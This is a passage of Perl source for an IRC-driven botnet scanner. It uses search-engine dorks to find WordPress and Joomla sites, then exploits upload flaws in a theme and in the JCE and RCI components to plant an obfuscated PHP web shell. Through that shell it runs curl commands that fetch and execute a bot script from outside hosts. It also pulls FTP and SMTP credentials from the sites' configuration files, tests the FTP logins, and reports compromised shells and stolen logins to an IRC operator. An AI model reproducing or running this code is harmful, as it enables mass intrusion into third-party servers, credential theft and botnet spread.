sleep(2); if ($checker =~ /Pagat - Shell/) { &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=wpremix"; &get_content($sender); &msg("$admin","$sempaklogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$sempaklogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$sempaklogo $engine 12sHeLL send to 14<12=14>12$nick Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } sub strange_exploit() { my ($chan,$bug,$nick,$dork,$engine) = @_; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$strangelogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$strangelogo4$engine 12Finished 3for 12$dork "); } my $liat = "http://".$site."xmlrpc.php"; my $cek = &get_content($liat); if ($cek =~ m/XML-RPC server accepts POST requests only/g) { &sx16($site,$chan,$nick,$engine); } } } } sub sx16() { my ($site,$chan,$nick,$engine) = @_; $test = "http://".$site; $nyoba = &get_content($test);sleep(7); if ($nyoba =~ /\/wp-content\/themes\/(.*?)\//i) { $theme = $1; } my $kirim = "http://".$site."wp-admin/admin.php"; my $ua = LWP::UserAgent->new; $ua->timeout(10); my $exploit = $ua->post($kirim, ['file-logo' => ['pagat.php']],'action' => 'fusion_save','update_option' => 'fusion_logoimage','Content-Type' => 'form-data'); my $check = $ua->get("http://".$site."pagat.php")->content; if($check =~/<br>/) { my $test = "http://".$site."pagat.php"; my $cekap = &get_content($test); if ($cekap =~ /Pagat - Shell/) { my $safe = ""; my $os = ""; my $uid = ""; if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$strangelogo4TARGET1 12SEND 3TO 13$nick selamat bang... ^_^ 4<9=4>"); &msg("$admin","$strangelogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$strangelogo15$engine 4<9=4>4 sukses cuy 4<9=4>12 (SafeMode=$safe) (OS=$os) uid=$uid "); if ($nick eq $admin) { } else { &msg("$nick","$strangelogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$strangelogo15$engine 4<9=4>4 sHeLL 4<9=4>4 ".$test."12 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } sub jce_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$jcelogo,$nick); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; my $shell = "http://".$site."images/stories/pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $status = &jce_upload($site);&jce_upload($site); if ($status = 1) { my $check = &get_content($shell."?rf"); if ($check =~ /Pagat - Shell/) { &get_content($shell."?cmd=curl+-C+-+-O+http://www.nawozyekologiczne.pl/mambots/sb.log%3Bperl+sb.log+irc.samarinda.biz%3Brm+sb.log"); my $safe = ""; my $os = ""; my $uid = ""; my $ftphost = ""; my $ftpuser = ""; my $ftppass = ""; my $ftpopen = ""; my $smtphost = ""; my $smtpuser = ""; my $smtppass = ""; my $smtpauth = ""; if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} if ($check =~ m/\$ftp_host = '(.+?)';/i){$ftphost=$1;} if ($check =~ m/\$ftp_user = '(.+?)';/i){$ftpuser=$1;} if ($check =~ m/\$ftp_pass = '(.+?)';/i){$ftppass=$1;} if ($check =~ m/\$ftp_enable = '(.+?)';/i){$ftpopen=$1;} if ($check =~ m/\$smtphost = '(.+?)';/i){$smtphost=$1;} if ($check =~ m/\$smtpuser = '(.+?)';/i){$smtpuser=$1;} if ($check =~ m/\$smtppass = '(.+?)';/i){$smtppass=$1;} if ($check =~ m/\$smtpauth = '(.+?)';/i){$smtpauth=$1;} if ($smtpauth =~ /1/) { &msg("$chan"," [SMTP] Found on http://$site "); &msg("$admin"," [SMTP] [ host : ".$smtphost." ] [ login : ".$smtpuser." ] [ pass : ".$smtppass." ]"); } &msg("$chan","$jcelogo4Send1 8Target 9TO maho 14$nick 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$jcelogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$jcelogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid "); if (defined($ftpuser)){ my $hozt = $site; $hozt =~ s/\///; &ftp($hozt,$ftpuser,$ftppass,$admin); } } } } exit; } if ($count == $num-1) { &msg("$chan","$jcelogo4$engine 12Finished 4for 12$dork "); } } } } sub jce_upload() { my $success = 0; my $url = $_[0]; $url =~ s/http:\/\///; my $host = $url; my $path = $url; $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; $path =~ s/(.*)\/[^\/]*$/\1/; $path .= "/"; $path =~ s/([-a-zA-Z0-9\.]+)/$2/; if ($path eq "") { $path = "/" } $header1P = "POST ".$path."index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1"; $header1P2 = "POST ".$path."index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1"; $header2 = "Host: $host"; $header3 = "User-Agent: BOT/0.1 (BOT for JCE)"; $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334"; $header5 = "Content-Length: 769"; $header6 = "-----------------------------41184676334"; $header7 = 'Content-Disposition: form-data; name="upload-dir"'; $header8 = '/'; $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""'; $header10 = 'Content-Type: application/octet-stream'; $header11 = 'Content-Disposition: form-data; name="upload-overwrite"'; $header12 = "0"; $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="pagat.gif"'; $header14 = 'Content-Type: image/gif'; $header15 = 'GIF89aG'; $header16 = "<?php eval(gzinflate(str_rot13(base64_decode('rUl6QttVEP58Vf0Pm71VaUewdkInSIBEKRiIR1UuDvcFkLWxN8m2ttfaXVBG1P9+M3g7L4VltHeEiD2vzzwzOxuulEex4qVHUxQzare3/3dYWYnbEU1m42njKIyi/uDy2pmwQuyzZtvr/fHwd6t7J7QwiawKUAKyC0Hdez6BVGcY/RuOrun5azyMzwfRmN6iTRSfNtSj8J+rMBrHSqN+ejCR6QIsKFgZTLBvU8CDJ4bcFBga/Smadjbl+WHKwfS9KFE8A5QOCuNcptxM4l8a9shQSvOkRcIsIHxnZxrGF4OTEAIMQULp/rdKWzzT/BmrWDCyqbkquQog41x3M0wULOfusiKn/o6PQUFTQEZGM/95pIIgP2UahReDZLjmlDORuTSpZZGk73T45iUyp9uETYboNj10TXHkA7aDFXFhWbnn+y1UwElbxlrRH5KIqzuOABr0NwUBdt9FKxWIW4zUIn7U7qa7K5IeTLx+etkRRrcdmbNjfO0kmSw4jgtBi5aVV/ht/53oa9QfjuPT/sfw8ugiZ+wMpFwbToKV1cng+OoivBzHo8Fg7Nxt1Bc5m2TteIAs4Hsqcor/DEpeOS9kURSvOa6TYZM6d6+u4jfOz96L5nSvnh8wV+aS0AMjWcYPh3nGDNkh0Zx02YFfCw8m6hALdSynEg6XFl9s8JYkMoNh/fnOfsDwkG3LZx498CdY5y4I4wqaHUOXbUNdDAKgxEuh2/N176U5rsAB8EoiDXmkfAGPEG6ZwqNxtkXOvkquw21EPuwbJKTYybiyXex6hplJUm+ELFVsD8kIzklln9bnK05EPYndKtBTqUV3F/Xbju/YTrSqDuoyXktIYucNKhQ3lSoIVzwwYZv6sCa3Rt7In1dkZvMzOcD6x1aaUVWZA5SpnOS4PoDpIe5GwiwHAaWHzxNtLPOcFXZY4IEoysoQsyhsQA3/byhOjgOa5Cnd1FPVJBcrfR2HkjuWSPB+rKT5Ch4+bztn9jexZXWRDZJKmRElRsba7aTMsBZ7WxDW8z9SXJWZcSk5FRm3hfh1/aieuVVGXjRraI1+w2AK/o0apxNfdpPzXR3tTBSX/N5t75FoEHjxkc/a+83fWp6C3+MDJVbGtA4M22OoTjY6OjFYaZuCP1VaOp0NltdpLBJq7dQx2i1bTMdH4LovSoeh07VjTZ8GFTg9S4XdyriGo3incsa5BTt4cQcyl2o8rqPzNFMD91YXk5dk7QZbaonGs3YaML8lFElbL5SGq7Ojs6OPHWALQg6p1zHZsIiqJOFNEwMi7/uAsMf2hoTuk2L24D2iuZn/lnQ4Lpa0U5mn9vJ3Nlyp+Poo/dWO0q79wN7WuPJw/oUnLlOyC66eJh996caW2bxF8xUE2WBLKX4VgvwpDHfaT0NGAIDtiu0lA95jyXW4Zjwf/uB9KnOVb2va7c3ceAGC5/ovCvILqJ1Zk52MOUIC/w8=')))); ?> "; $header17 = 'Content-Disposition: form-data; name="upload-name"'; $header18 = 'pagat'; $header19 = 'Content-Disposition: form-data; name="action"'; $header20 = 'upload'; $header21 = "-----------------------------41184676334--"; $header22 = 'X-Request: JSON'; $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8'; $header25 = 'json={"fn":"folderRename","args":["/pagat.gif","pagat.php"]}'; $header24 = "Content-Length: ".length($header25).""; my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host" ,PeerPort=>"80") || return; print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n"; my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host" ,PeerPort=>"80") || return; print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; while ($hasil = <$remote>) { if ($hasil =~ /200 OK/) { $success = 1; } return $success; } } sub ftp() { my $host = $_[0]; my $user = $_[1]; my $pass = $_[2]; my $chan = $_[3]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $success = 1; use Net::FTP; my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5); $success = 0 if $ftp->login($user,$pass); $ftp->quit; if ($success == 0) { &msg("$chan","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 9Success "); } } exit; } } sub rci_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$rcilogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; foreach my $jpath(@jpaths) { my $shell = "http://".$site.$jpath.$jshell; my $vuln = "http://".$site.$jpath.$jvuln."?name=pagat.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $nick = $simpan; my $status = &rci_upload($vuln); if ($status = 1) { my $check = &get_content($shell."?rf"); if ($check =~ /Pagat - Shell/) { &msg("$chan","$rcilogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site "); &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+robot.log%3Brm+robot.log"); my $safe = ""; my $os = ""; my $uid = ""; my $ftphost = ""; my $ftpuser = ""; my $ftppass = ""; if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} if ($check =~ m/\$ftp_host = '(.+?)';/i){$ftphost=$1;} if ($check =~ m/\$ftp_user = '(.+?)';/i){$ftpuser=$1;} if ($check =~ m/\$ftp_pass = '(.+?)';/i){$ftppass=$1;} &msg("$nick","$rcilogo15$engine 4<9=4>9 Simple sHeLL Send To 13$nick 4<9=4>15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$rcilogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$rcilogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid "); if (defined($ftpuser)){ my $hozt = $site; $hozt =~ s/\///; &ftp($hozt,$ftpuser,$ftppass,$chan); } } } } exit; } } if ($count == $num-1) { &msg("$chan","$rcilogo15$engine 9Finished 15for 9$dork "); } } } } sub rci_upload() { my $success = 0; my $url = $_[0]; my $ua = LWP::UserAgent->new; my $data = "<?php eval(gzinflate(str_rot13(base64_decode('rUl6QttVEP58Vf0Pm71VaUewdkInSIBEKRiIR1UuDvcFkLWxN8m2ttfaXVBG1P9+M3g7L4VltHeEiD2vzzwzOxuulEex4qVHUxQzare3/3dYWYnbEU1m42njKIyi/uDy2pmwQuyzZtvr/fHwd6t7J7QwiawKUAKyC0Hdez6BVGcY/RuOrun5azyMzwfRmN6iTRSfNtSj8J+rMBrHSqN+ejCR6QIsKFgZTLBvU8CDJ4bcFBga/Smadjbl+WHKwfS9KFE8A5QOCuNcptxM4l8a9shQSvOkRcIsIHxnZxrGF4OTEAIMQULp/rdKWzzT/BmrWDCyqbkquQog41x3M0wULOfusiKn/o6PQUFTQEZGM/95pIIgP2UahReDZLjmlDORuTSpZZGk73T45iUyp9uETYboNj10TXHkA7aDFXFhWbnn+y1UwElbxlrRH5KIqzuOABr0NwUBdt9FKxWIW4zUIn7U7qa7K5IeTLx+etkRRrcdmbNjfO0kmSw4jgtBi5aVV/ht/53oa9QfjuPT/sfw8ugiZ+wMpFwbToKV1cng+OoivBzHo8Fg7Nxt1Bc5m2TteIAs4Hsqcor/DEpeOS9kURSvOa6TYZM6d6+u4jfOz96L5nSvnh8wV+aS0AMjWcYPh3nGDNkh0Zx02YFfCw8m6hALdSynEg6XFl9s8JYkMoNh/fnOfsDwkG3LZx498CdY5y4I4wqaHUOXbUNdDAKgxEuh2/N176U5rsAB8EoiDXmkfAGPEG6ZwqNxtkXOvkquw21EPuwbJKTYybiyXex6hplJUm+ELFVsD8kIzklln9bnK05EPYndKtBTqUV3F/Xbju/YTrSqDuoyXktIYucNKhQ3lSoIVzwwYZv6sCa3Rt7In1dkZvMzOcD6x1aaUVWZA5SpnOS4PoDpIe5GwiwHAaWHzxNtLPOcFXZY4IEoysoQsyhsQA3/byhOjgOa5Cnd1FPVJBcrfR2HkjuWSPB+rKT5Ch4+bztn9jexZXWRDZJKmRElRsba7aTMsBZ7WxDW8z9SXJWZcSk5FRm3hfh1/aieuVVGXjRraI1+w2AK/o0apxNfdpPzXR3tTBSX/N5t75FoEHjxkc/a+83fWp6C3+MDJVbGtA4M22OoTjY6OjFYaZuCP1VaOp0NltdpLBJq7dQx2i1bTMdH4LovSoeh07VjTZ8GFTg9S4XdyriGo3incsa5BTt4cQcyl2o8rqPzNFMD91YXk5dk7QZbaonGs3YaML8lFElbL5SGq7Ojs6OPHWALQg6p1zHZsIiqJOFNEwMi7/uAsMf2hoTuk2L24D2iuZn/lnQ4Lpa0U5mn9vJ3Nlyp+Poo/dWO0q79wN7WuPJw/oUnLlOyC66eJh996caW2bxF8xUE2WBLKX4VgvwpDHfaT0NGAIDtiu0lA95jyXW4Zjwf/uB9KnOVb2va7c3ceAGC5/ovCvILqJ1Zk52MOUIC/w8=')))); ?> "; my $res = $ua->request(POST $url,Content_Type => 'text/plain', Content => $data); if ($res->is_success){ $success = 1; } return $success; } ################################################################################## sub search_engine() { my (@total,@clean); my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $logo = $_[4]; if ($engine eq "GooGLeCA") { my @googleCA = googleCA($dork); push(@total,@googleCA); } if ($engine eq "GooGLeDE") { my @googleDE = googleDE($dork); push(@total,@googleDE); } if ($engine eq "GooGLeUK") { my @googleUK = googleUK($dork); push(@total,@googleUK); } if ($engine eq "GooGLeFR") { my @googleFR = googleFR($dork); push(@total,@googleFR); } if ($engine eq "GooGLeES") { my @googleES = googleES($dork); push(@total,@googleES); } if ($engine eq "GooGLeIT") { my @googleIT = googleIT($dork); push(@total,@googleIT); } if ($engine eq "GooGLeNL") { my @googleNL = googleNL($dork); push(@total,@googleNL); } if ($engine eq "GooGLeBE") { my @googleBE = googleBE($dork); push(@total,@googleBE); } if ($engine eq "GooGLeCH") { my @googleCH = googleCH($dork); push(@total,@googleCH); } if ($engine eq "GooGLeSE") { my @googleSE = googleSE($dork); push(@total,@googleSE); } if ($engine eq "GooGLeDK") { my @googleDK = googleDK($dork); push(@total,@googleDK); } if ($engine eq "GooGLeNO") { my @googleNO = googleNO($dork); push(@total,@googleNO); } if ($engine eq "GooGLeNZ") { my @googleNZ = googleNZ($dork); push(@total,@googleNZ); } if ($engine eq "GooGLeIE") { my @googleIE = googleIE($dork); push(@total,@googleIE); } if ($engine eq "GooGLeBR") { my @googleBR = googleBR($dork); push(@total,@googleBR); } if ($engine eq "GooGLeAR") { my @googleAR = googleAR($dork); push(@total,@googleAR); } if ($engine eq "GooGLeCO") { my @googleCO = googleCO($dork); push(@total,@googleCO); } if ($engine eq "GooGLeCU") { my @googleCU = googleCU($dork); push(@total,@googleCU); } if ($engine eq "GooGLeCL") { my @googleCL = googleCL($dork); push(@total,@googleCL); } if ($engine eq "GooGLeMX") { my @googleMX = googleMX($dork); push(@total,@googleMX); } if ($engine eq "GooGLeAU") { my @googleAU = googleAU($dork); push(@total,@googleAU); } if ($engine eq "GooGLeRU") { my @googleRU = googleRU($dork); push(@total,@googleRU); } if ($engine eq "GooGLeAT") { my @googleAT = googleAT($dork); push(@total,@googleAT); } if ($engine eq "GooGLePL") { my @googlePL = googlePL($dork); push(@total,@googlePL); } if ($engine eq "GooGLeIL") { my @googleIL = googleIL($dork); push(@total,@googleIL); } if ($engine eq "GooGLeTR") { my @googleTR = googleTR($dork); push(@total,@googleTR); } if ($engine eq "GooGLeUA") { my @googleUA = googleUA($dork); push(@total,@googleUA); } if ($engine eq "GooGLeGR") { my @googleGR = googleGR($dork); push(@total,@googleGR); } if ($engine eq "GooGLeJP") { my @googleJP = googleJP($dork); push(@total,@googleJP); } if ($engine eq "GooGLeCN") { my @googleCN = googleCN($dork); push(@total,@googleCN); } if ($engine eq "GooGLeMY") { my @googleMY = googleMY($dork); push(@total,@googleMY); } if ($engine eq "GooGLeTH") { my @googleTH = googleTH($dork); push(@total,@googleTH); } if ($engine eq "GooGLeIN") { my @googleIN = googleIN($dork); push(@total,@googleIN); } if ($engine eq "GooGLeKR") { my @googleKR = googleKR($dork); push(@total,@googleKR); } if ($engine eq "GooGLeRO") { my @googleRO = googleRO($dork); push(@total,@googleRO); } if ($engine eq "GooGLeTW") { my @googleTW = googleTW($dork); push(@total,@googleTW); } if ($engine eq "GooGLeZA") { my @googleZA = googleZA($dork); push(@total,@googleZA); } if ($engine eq "GooGLePT") { my @googlePT = googlePT($dork); push(@total,@googlePT); } if ($engine eq "AsKCA") { my @askCA = askCA($dork); push(@total,@askCA); } if ($engine eq "AsKDE") { my @askDE = askDE($dork); push(@total,@askDE); } if ($engine eq "AsKIT") { my @askIT = askIT($dork); push(@total,@askIT); } if ($engine eq "AsKUK") { my @askUK = askUK($dork); push(@total,@askUK); } if ($engine eq "AsKFR") { my @askFR = askFR($dork); push(@total,@askFR); } if ($engine eq "AsKES") { my @askES = askES($dork); push(@total,@askES); } if ($engine eq "AsKRU") { my @askRU = askRU($dork); push(@total,@askRU); } if ($engine eq "AsKNL") { my @askNL = askNL($dork); push(@total,@askNL); } if ($engine eq "AsKEU") { my @askEU = askEU($dork); push(@total,@askEU); } if ($engine eq "AsKPL") { my @askPL = askPL($dork); push(@total,@askPL); } if ($engine eq "AsKAT") { my @askAT = askAT($dork); push(@total,@askAT); } if ($engine eq "AsKSE") { my @askSE = askSE($dork); push(@total,@askSE); } if ($engine eq "AsKDK") { my @askDK = askDK($dork); push(@total,@askDK); } if ($engine eq "AsKNO") { my @askNO = askNO($dork); push(@total,@askNO); } if ($engine eq "AsKAU") { my @askAU = askAU($dork); push(@total,@askAU); } if ($engine eq "AsKBR") { my @askBR = askBR($dork); push(@total,@askBR); } if ($engine eq "AsKMX") { my @askMX = askMX($dork); push(@total,@askMX); } if ($engine eq "AsKJP") { my @askJP = askJP($dork); push(@total,@askJP); } if ($engine eq "BingDE") { my @bingDE = bingDE($dork); push(@total,@bingDE); } if ($engine eq "BingUK") { my @bingUK = bingUK($dork); push(@total,@bingUK); } if ($engine eq "BingCA") { my @bingCA = bingCA($dork); push(@total,@bingCA); } if ($engine eq "BingBR") { my @bingBR = bingBR($dork); push(@total,@bingBR); } if ($engine eq "BingFR") { my @bingFR = bingFR($dork); push(@total,@bingFR); } if ($engine eq "BingES") { my @bingES = bingES($dork); push(@total,@bingES); } if ($engine eq "BingIT") { my @bingIT = bingIT($dork); push(@total,@bingIT); } if ($engine eq "BingBE") { my @bingBE = bingBE($dork); push(@total,@bingBE); } if ($engine eq "BingNL") { my @bingNL = bingNL($dork); push(@total,@bingNL); } if ($engine eq "BingPT") { my @bingPT = bingPT($dork); push(@total,@bingPT); } if ($engine eq "BingNO") { my @bingNO = bingNO($dork); push(@total,@bingNO); } if ($engine eq "BingDK") { my @bingDK = bingDK($dork); push(@total,@bingDK); } if ($engine eq "BingSE") { my @bingSE = bingSE($dork); push(@total,@bingSE); } if ($engine eq "BingCH") { my @bingCH = bingCH($dork); push(@total,@bingCH); } if ($engine eq "BingNZ") { my @bingNZ = bingNZ($dork); push(@total,@bingNZ); } if ($engine eq "BingRU") { my @bingRU = bingRU($dork); push(@total,@bingRU); } if ($engine eq "BingJP") { my @bingJP = bingJP($dork); push(@total,@bingJP); } if ($engine eq "BingCN") { my @bingCN = bingCN($dork); push(@total,@bingCN); } if ($engine eq "BingKR") { my @bingKR = bingKR($dork); push(@total,@bingKR); } if ($engine eq "BingMX") { my @bingMX = bingMX($dork); push(@total,@bingMX); } if ($engine eq "BingAR") { my @bingAR = bingAR($dork); push(@total,@bingAR); } if ($engine eq "BingCL") { my @bingCL = bingCL($dork); push(@total,@bingCL); } if ($engine eq "BingAU") { my @bingAU = bingAU($dork); push(@total,@bingAU); } if ($engine eq "AE") { my @ae = &ae($dork); push(@total,@ae); } if ($engine eq "AR") { my @ar = &ar($dork); push(@total,@ar); } if ($engine eq "AT") { my @at = &at($dork); push(@total,@at); } if ($engine eq "AU") { my @au = &au($dork); push(@total,@au); } if ($engine eq "BR") { my @br = &br($dork); push(@total,@br); } if ($engine eq "CA") { my @ca = &ca($dork); push(@total,@ca); } if ($engine eq "CL") { my @cl = &cl($dork); push(@total,@cl); } if ($engine eq "CN") { my @cn = &cn($dork); push(@total,@cn); } if ($engine eq "CoM") { my @com = &com($dork); push(@total,@com); } if ($engine eq "CZ") { my @cz = &cz($dork); push(@total,@cz); } if ($engine eq "DE") { my @de = &de($dork); push(@total,@de); } if ($engine eq "DK") { my @dk = &dk($dork); push(@total,@dk); } if ($engine eq "ES") { my @es = &es($dork); push(@total,@es); } if ($engine eq "EU") { my @eu = &eu($dork); push(@total,@eu); } if ($engine eq "FR") { my @fr = &fr($dork); push(@total,@fr); } if ($engine eq "HU") { my @hu = &hu($dork); push(@total,@hu); } if ($engine eq "ID") { my @id = &id($dork); push(@total,@id); } if ($engine eq "IL") { my @il = &il($dork); push(@total,@il); } if ($engine eq "IN") { my @in = &in($dork); push(@total,@in); } if ($engine eq "InfO") { my @info = &info($dork); push(@total,@info); } if ($engine eq "IR") { my @ir = &ir($dork); push(@total,@ir); } if ($engine eq "IT") { my @it = &it($dork); push(@total,@it); } if ($engine eq "JP") { my @jp = &jp($dork); push(@total,@jp); } if ($engine eq "KR") { my @kr = &kr($dork); push(@total,@kr); } if ($engine eq "MX") { my @mx = &mx($dork); push(@total,@mx); } if ($engine eq "MY") { my @my = &my($dork); push(@total,@my); } if ($engine eq "NeT") { my @net = &net($dork); push(@total,@net); } if ($engine eq "NL") { my @nl = &nl($dork); push(@total,@nl); } if ($engine eq "OrG") { my @org = &org($dork); push(@total,@org); } if ($engine eq "PH") { my @ph = &ph($dork); push(@total,@ph); } if ($engine eq "PL") { my @pl = &pl($dork); push(@total,@pl); } if ($engine eq "RO") { my @ro = &ro($dork); push(@total,@ro); } if ($engine eq "RU") { my @ru = &ru($dork); push(@total,@ru); } if ($engine eq "TH") { my @th = &th($dork); push(@total,@th); } if ($engine eq "UA") { my @ua = &ua($dork); push(@total,@ua); } if ($engine eq "UK") { my @uk = &uk($dork); push(@total,@uk); } if ($engine eq "US") { my @us = &us($dork); push(@total,@us); } if ($engine eq "SI") { my @si = &si($dork); push(@total,@si); } if ($engine eq "BE") { my @be = &be($dork); push(@total,@be); } if ($engine eq "BIZ") { my @biz = &biz($dork); push(@total,@biz); } if ($engine eq "XXX") { my @xxx = &xxx($dork); push(@total,@xxx); } if ($engine eq "TEL") { my @tel = &tel($dork); push(@total,@tel); } if ($engine eq "TV") { my @tv = &tv($dork); push(@total,@tv); } if ($engine eq "CC") { my @cc = &cc($dork); push(@total,@cc); } if ($engine eq "MIL") { my @mil = &mil($dork); push(@total,@mil); } if ($engine eq "ASIA") { my @asia = &asia($dork); push(@total,@asia); } if ($engine eq "NAME") { my @name = &name($dork); push(@total,@name); } if ($engine eq "PRO") { my @pro = &pro($dork); push(@total,@pro); } if ($engine eq "TRAVEL") { my @travel = &travel($dork); push(@total,@travel); } if ($engine eq "JOBS") { my @jobs = &jobs($dork); push(@total,@jobs); } if ($engine eq "MOBI") { my @mobi = &mobi($dork); push(@total,@mobi); } if ($engine eq "AERO") { my @aero = &aero($dork); push(@total,@aero); } if ($engine eq "CAT") { my @cat = &cat($dork); push(@total,@cat); } if ($engine eq "COOP") { my @coop = &coop($dork); push(@total,@coop); } if ($engine eq "EDU") { my @edu = &edu($dork); push(@total,@edu); } if ($engine eq "GOV") { my @gov = &gov($dork); push(@total,@gov); } if ($engine eq "AS") { my @as = &as($dork); push(@total,@as); } if ($engine eq "AI") { my @ai = &ai($dork); push(@total,@ai); } if ($engine eq "AG") { my @ag = &ag($dork); push(@total,@ag); } if ($engine eq "AZ") { my @az = &az($dork); push(@total,@az); } if ($engine eq "BH") { my @bh = &bh($dork); push(@total,@bh); } if ($engine eq "BD") { my @bd = &bd($dork); push(@total,@bd); } if ($engine eq "BZ") { my @bz = &bz($dork); push(@total,@bz); } if ($engine eq "BO") { my @bo = &bo($dork); push(@total,@bo); } if ($engine eq "BA") { my @ba = &ba($dork); push(@total,@ba); } if ($engine eq "VG") { my @vg = &vg($dork); push(@total,@vg); } if ($engine eq "BG") { my @bg = &bg($dork); push(@total,@bg); } if ($engine eq "BI") { my @bi = &bi($dork); push(@total,@bi); } if ($engine eq "CO") { my @co = &co($dork); push(@total,@co); } if ($engine eq "CD") { my @cd = &cd($dork); push(@total,@cd); } if ($engine eq "CG") { my @cg = &cg($dork); push(@total,@cg); } if ($engine eq "CK") { my @ck = &ck($dork); push(@total,@ck); } if ($engine eq "CR") { my @cr = &cr($dork); push(@total,@cr); } if ($engine eq "HR") { my @hr = &hr($dork); push(@total,@hr); } if ($engine eq "CU") { my @cu = &cu($dork); push(@total,@cu); } if ($engine eq "CI") { my @ci = &ci($dork); push(@total,@ci); } if ($engine eq "DJ") { my @dj = &dj($dork); push(@total,@dj); } if ($engine eq "DM") { my @dm = &dm($dork); push(@total,@dm); } if ($engine eq "DO") { my @do = &do($dork); push(@total,@do); } if ($engine eq "EC") { my @ec = &ec($dork); push(@total,@ec); } if ($engine eq "EG") { my @eg = &eg($dork); push(@total,@eg); } if ($engine eq "SV") { my @sv = &sv($dork); push(@total,@sv); } if ($engine eq "EE") { my @ee = &ee($dork); push(@total,@ee); } if ($engine eq "ET") { my @et = &et($dork); push(@total,@et); } if ($engine eq "FJ") { my @fj = &fj($dork); push(@total,@fj); } if ($engine eq "FI") { my @fi = &fi($dork); push(@total,@fi); } if ($engine eq "GM") { my @gm = &gm($dork); push(@total,@gm); } if ($engine eq "GI") { my @gi = &gi($dork); push(@total,@gi); } if ($engine eq "GR") { my @gr = &gr($dork); push(@total,@gr); } if ($engine eq "GL") { my @gl = &gl($dork); push(@total,@gl); } if ($engine eq "GT") { my @gt = >($dork); push(@total,@gt); } if ($engine eq "GG") { my @gg = &gg($dork); push(@total,@gg); } if ($engine eq "HT") { my @ht = &ht($dork); push(@total,@ht); } if ($engine eq "HN") { my @hn = &hn($dork); push(@total,@hn); } if ($engine eq "HK") { my @hk = &hk($dork); push(@total,@hk); } if ($engine eq "IS") { my @is = &is($dork); push(@total,@is); } if ($engine eq "IE") { my @ie = &ie($dork); push(@total,@ie); } if ($engine eq "IM") { my @im = &im($dork); push(@total,@im); } if ($engine eq 